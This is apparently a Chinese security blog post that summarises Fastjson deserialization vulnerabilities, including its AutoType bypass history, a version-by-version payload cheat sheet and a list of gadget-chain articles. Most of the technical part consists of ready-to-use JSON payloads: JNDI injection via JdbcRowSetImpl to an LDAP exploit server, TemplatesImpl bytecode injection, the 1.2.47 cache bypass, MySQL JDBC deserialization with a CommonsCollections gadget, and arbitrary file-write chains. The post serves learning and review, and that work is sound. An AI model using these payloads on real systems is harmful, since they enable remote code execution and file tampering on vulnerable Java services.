当前位置: 首页 > news >正文

Fastjson 总结

0x00 前言

这一篇主要是针对已经完成的fastjson系列做一个知识点总结,一来是为了更加有条理的梳理已经存在的内容,二来是为了更好的复习和利用。

0x01 Fastjson基础知识点

1.常见问题:

问:fastjson的触发点是什么?

fastjson的触发点是parseObject

问:fastjson payload最明显的特征是什么?

@type

问:fastjson 最早的利用版本是什么

1.2.24以下的版本

问:fastjson 除了可以执行命令还可以做什么其他的事情

因为fastjson本质是执行代码,所以可以做所有代码能够实现的事情

问:fastjson 的对抗历史中,主要是在绕过和对抗什么

checkautotype

问:fastjson对抗历史中,绕过Autotype的方式有哪些

Autotype开启

  • 类名L
  • 类名LL
  • 类名[
  • JNDIConfiguration绕过(黑名单不存在)

Autotype未开启

  • 1.2.48 缓存绕过
  • 1.2.68 白名单绕过

问:简述一下1.2.48缓存绕过的原理

首先通过Java.lang.class 将调用的类load进map,然后进行第二次@type调用,因为map中存在的,所以直接会获取到class。

0x02 POC

1.探测

1.1 DNSLOG

{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog.com"}}

{{"@type":"java.net.URL","val":"http://dnslog.com"}:"a"}

2.利用

2.1 不开启AutoType

<= 1.2.24

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:9999/Exploit", "autoCommit":true}

如果 Feature.SupportNonPublicField开启,则使用下面的payload

        final String CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";ClassPool classPool = ClassPool.getDefault();CtClass ctClass = classPool.getCtClass("evil");byte[] bytes = ctClass.toBytecode();String encoded = Base64.getEncoder().encodeToString(bytes);String payload = "{\"@type\":\"" + CLASS +"\",\"_bytecodes\":[\""+encoded+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{}}";return payload;

1.2.25 < 1.2.48

{"a": {"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://127.0.0.1:9999/#Exploit", "autoCommit": true}}

1.2.68
这个需要使用mysql利用工具

{ "name": { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "127.0.0.1", "portToConnectTo": 3306, "info": { "user": "yso_CommonsCollections5_calc", "password": "pass", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1" } }

文件操作

{ "@type": "java.lang.AutoCloseable", "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream", "targetPath": "C:/Users/wdd/Desktop/ls/ls/1.txt", "tempPath": "C:/Users/wdd/Desktop/ls/1.txt"}

文件写入

{"stream": {"@type": "java.lang.AutoCloseable","@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream","targetPath": "C:/Users/wdd/Desktop/ls/ls/4.txt","tempPath": "a"},"writer": {"@type": "java.lang.AutoCloseable","@type": "com.esotericsoftware.kryo.io.Output","buffer": "Y2VzaGk=","outputStream": {"$ref": "$.stream"},"position": 5},"close": {"@type": "java.lang.AutoCloseable","@type": "com.sleepycat.bind.serial.SerialOutput","out": {"$ref": "$.writer"}}
}

2.2 开启AutoType

1.2.25

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:9999/a", "autoCommit":true}

1.2.42

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:9999/a", "autoCommit":true}

1.2.60

{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://localhost:9999/a"
}

2.3 版本 1.2.5 <= 1.2.60

0x03 Fastjson调用链

历史版本

  • Java代码审计——Fastjson < 24 反序列
  • Java代码审计——Fastjson1.2.25反序列化漏洞
  • Java代码审计——Fastjson1.2.42反序列化漏洞
  • Java代码审计——Fastjson1.2.43反序列化漏洞
    • Java代码审计——Fastjson1.2.47反序列化漏洞
  • Java代码审计——Fastjson1.2.60反序列化漏洞

1.2.68

  • Java代码审计——fastjson 1.2.68 反序列化漏洞 Exception
  • Java代码审计——fastjson 1.2.68 反序列化漏洞 AutoCloseable
  • Java代码审计——fastjson 1.2.68 反序列化漏洞 Mysql RCE
  • Java代码审计——fastjson 1.2.68 反序列化漏洞 SafeFileOutputStream文件操作
  • Java代码审计——fastjson 1.2.68 反序列化漏洞 文件写入
  • Java代码审计——fastjson 1.2.68 反序列化漏洞 FileOutputStream写文件
  • Java代码审计——fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件

调用链

  • Java代码审计——Fastjson JdbcRowSetImpl调用链
  • Java代码审计——fastjson TemplatesImpl调用链
http://www.lryc.cn/news/4753.html

相关文章:

  • 文件路径模块os.path
  • Kerberos简单介绍及使用
  • DOM编程-全选、全不选和反选
  • C++11可变模板参数
  • Linux多线程
  • Webpack5 环境下 Openlayers 标注(Icon) require 引入图片问题
  • Zookeeper安装部署
  • Cow Acrobats ( 临项交换贪心 )
  • MySQL:为什么说应该优先选择普通索引,尽量避免使用唯一索引
  • Spring Cloud alibaba之Feign
  • 零信任-Google谷歌零信任介绍(3)
  • Numpy基础——人工智能基础
  • 电商仓储与配送云仓是什么?
  • 【零基础入门前端系列】—HTML介绍(一)
  • Elasticsearch索引库和文档的相关操作
  • 使用Python,Opencv检测图像,视频中的猫
  • 浅谈域名和服务器集约化管理的误区
  • 迪赛智慧数——柱状图(正负条形图):20212022人才求职最关注的因素
  • 网络安全-黑帽白帽红客与网络安全法
  • Xpath元素定位之同级节点,父节点,子节点
  • 华为OD机试 - 挑选字符串(Python)| 真题+思路+代码
  • python笔记-- “__del__”析构方法
  • 支付系统核心架构设计思路(万能通用)
  • python实现mongdb的双活
  • LeetCode-110. 平衡二叉树
  • Python蓝桥杯训练:基本数据结构 [链表]
  • 华为OD机试 - 找字符(Python)| 真题+思路+代码
  • 使用继承与派生的6大要点
  • 加一-力扣66-java高效方案
  • 记一次 .NET 某游戏网站 CPU爆高分析